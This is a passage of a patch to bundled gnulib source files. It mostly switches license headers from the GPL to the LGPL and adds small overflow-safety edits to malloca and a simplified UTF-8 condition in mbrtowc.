+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_at_failure.c
++++ b/gnulib/lib/malloc/dynarray_at_failure.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_emplace_enlarge.c
++++ b/gnulib/lib/malloc/dynarray_emplace_enlarge.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_finalize.c
++++ b/gnulib/lib/malloc/dynarray_finalize.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_resize.c
++++ b/gnulib/lib/malloc/dynarray_resize.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_resize_clear.c
++++ b/gnulib/lib/malloc/dynarray_resize_clear.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloca.c
++++ b/gnulib/lib/malloca.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 2003, 2006-2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2003, 2018.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #define _GL_USE_STDLIB_ALLOC 1
+ #include <config.h>
+@@ -21,6 +21,8 @@
+ /* Specification. */
+ #include "malloca.h"
+
++#include "idx.h"
++#include "intprops.h"
+ #include "verify.h"
+
+ /* The speed critical point in this file is freea() applied to an alloca()
+@@ -45,9 +47,9 @@ mmalloca (size_t n)
+ #if HAVE_ALLOCA
+ /* Allocate one more word, used to determine the address to pass to freea(),
+ and room for the alignment ≡ sa_alignment_max mod 2*sa_alignment_max. */
+- size_t nplus = n + sizeof (small_t) + 2 * sa_alignment_max - 1;
+-
+- if (nplus >= n)
++ int plus = sizeof (small_t) + 2 * sa_alignment_max - 1;
++ idx_t nplus;
++ if (!INT_ADD_WRAPV (n, plus, &nplus) && !xalloc_oversized (nplus, 1))
+ {
+ char *mem = (char *) malloc (nplus);
+
+--- a/gnulib/lib/malloca.h
++++ b/gnulib/lib/malloca.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 2003-2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2003.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _MALLOCA_H
+ #define _MALLOCA_H
+@@ -76,9 +76,10 @@ extern void freea (void *p);
+
+ /* nmalloca(N,S) is an overflow-safe variant of malloca (N * S).
+ It allocates an array of N objects, each with S bytes of memory,
+- on the stack. S must be positive and N must be nonnegative.
++ on the stack. N and S should be nonnegative and free of side effects.
+ The array must be freed using freea() before the function returns. */
+-#define nmalloca(n, s) (xalloc_oversized (n, s) ? NULL : malloca ((n) * (s)))
++#define nmalloca(n, s) \
++ (xalloc_oversized (n, s) ? NULL : malloca ((n) * (size_t) (s)))
+
+
+ #ifdef __cplusplus
+--- a/gnulib/lib/mbchar.c
++++ b/gnulib/lib/mbchar.c
+@@ -1,16 +1,16 @@
+ /* Copyright (C) 2001, 2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+
+--- a/gnulib/lib/mbchar.h
++++ b/gnulib/lib/mbchar.h
+@@ -1,17 +1,17 @@
+ /* Multibyte character data type.
+ Copyright (C) 2001, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+--- a/gnulib/lib/mbiter.c
++++ b/gnulib/lib/mbiter.c
+@@ -1,3 +1,21 @@
++/* Iterating through multibyte strings: macros for multi-byte encodings.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define MBITER_INLINE _GL_EXTERN_INLINE
+ #include "mbiter.h"
+--- a/gnulib/lib/mbiter.h
++++ b/gnulib/lib/mbiter.h
+@@ -1,17 +1,17 @@
+ /* Iterating through multibyte strings: macros for multi-byte encodings.
+ Copyright (C) 2001, 2005, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+--- a/gnulib/lib/mbrtowc-impl-utf8.h
++++ b/gnulib/lib/mbrtowc-impl-utf8.h
+@@ -1,17 +1,17 @@
+ /* Convert multibyte character to wide character.
+ Copyright (C) 1999-2002, 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2008. */
+@@ -96,7 +96,7 @@
+
+ if ((c2 ^ 0x80) < 0x40
+ && (c >= 0xf1 || c2 >= 0x90)
+- && (c < 0xf4 || (c == 0xf4 && c2 < 0x90)))
++ && (c < 0xf4 || (/* c == 0xf4 && */ c2 < 0x90)))
+ {
+ if (m == 2)
+ goto incomplete;
+--- a/gnulib/lib/mbrtowc-impl.h
++++ b/gnulib/lib/mbrtowc-impl.h
+@@ -1,17 +1,17 @@
+ /* Convert multibyte character to wide character.
+ Copyright (C) 1999-2002, 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2008. */
+--- a/gnulib/lib/mbrtowc.c
++++ b/gnulib/lib/mbrtowc.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 1999-2002, 2005-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbscasecmp.c
++++ b/gnulib/lib/mbscasecmp.c
+@@ -3,17 +3,17 @@
+ Written by Bruno Haible <bruno@clisp.org>, 2005,
+ based on earlier glibc code.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbschr.c
++++ b/gnulib/lib/mbschr.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2007.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbsinit.c
++++ b/gnulib/lib/mbsinit.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbslen.c
++++ b/gnulib/lib/mbslen.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2007.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbsncasecmp.c
++++ b/gnulib/lib/mbsncasecmp.c
+@@ -3,17 +3,17 @@
+ Written by Bruno Haible <bruno@clisp.org>, 2005,
+ based on earlier glibc code.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbsstr.c
++++ b/gnulib/lib/mbsstr.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2005.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbtowc-impl.h
++++ b/gnulib/lib/mbtowc-impl.h
+@@ -2,17 +2,17 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2011.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* We don't need a static internal state, because the encoding is not state
+--- a/gnulib/lib/mbtowc-lock.c
++++ b/gnulib/lib/mbtowc-lock.c
+@@ -1,17 +1,17 @@
+ /* Return the internal lock used by mbrtowc and mbrtoc32.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019-2020. */
+--- a/gnulib/lib/mbtowc-lock.h
++++ b/gnulib/lib/mbtowc-lock.h
+@@ -1,17 +1,17 @@
+ /* Use the internal lock used by mbrtowc and mbrtoc32.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019-2020. */
+--- a/gnulib/lib/mbtowc.c
++++ b/gnulib/lib/mbtowc.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2011.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbuiter.c
++++ b/gnulib/lib/mbuiter.c
+@@ -1,3 +1,20 @@
++/* Iterating through multibyte strings: macros for multi-byte encodings.
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define MBUITER_INLINE _GL_EXTERN_INLINE
+ #include "mbuiter.h"
+--- a/gnulib/lib/mbuiter.h
++++ b/gnulib/lib/mbuiter.h
+@@ -1,17 +1,17 @@
+ /* Iterating through multibyte strings: macros for multi-byte encodings.
+ Copyright (C) 2001, 2005, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+--- a/gnulib/lib/memchr.c
++++ b/gnulib/lib/memchr.c
+@@ -7,21 +7,21 @@
+ adaptation to memchr suggested by Dick Karpinski (dick@cca.ucsf.edu),
+ and implemented by Roland McGrath (roland@ai.mit.edu).
+
+-NOTE: The canonical source of this file is maintained with the GNU C Library.
+-Bugs can be reported to bug-glibc@prep.ai.mit.edu.
++ NOTE: The canonical source of this file is maintained with the GNU C Library.
++ Bugs can be reported to bug-glibc@prep.ai.mit.edu.
+
+-This program is free software: you can redistribute it and/or modify it
+-under the terms of the GNU General Public License as published by the
+-Free Software Foundation; either version 3 of the License, or any
+-later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+-This program is distributed in the hope that it will be useful,
+-but WITHOUT ANY WARRANTY; without even the implied warranty of
+-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-GNU General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+-You should have received a copy of the GNU General Public License
+-along with this program. If not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _LIBC
+ # include <config.h>
+--- a/gnulib/lib/memchr.valgrind
++++ b/gnulib/lib/memchr.valgrind
+@@ -2,17 +2,17 @@
+
+ # Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ #
+-# This program is free software: you can redistribute it and/or modify
+-# it under the terms of the GNU General Public License as published by
+-# the Free Software Foundation; either version 3 of the License, or
+-# (at your option) any later version.
++# This file is free software: you can redistribute it and/or modify
++# it under the terms of the GNU Lesser General Public License as
++# published by the Free Software Foundation; either version 2.1 of the
++# License, or (at your option) any later version.
+ #
+-# This program is distributed in the hope that it will be useful,
++# This file is distributed in the hope that it will be useful,
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-# GNU General Public License for more details.
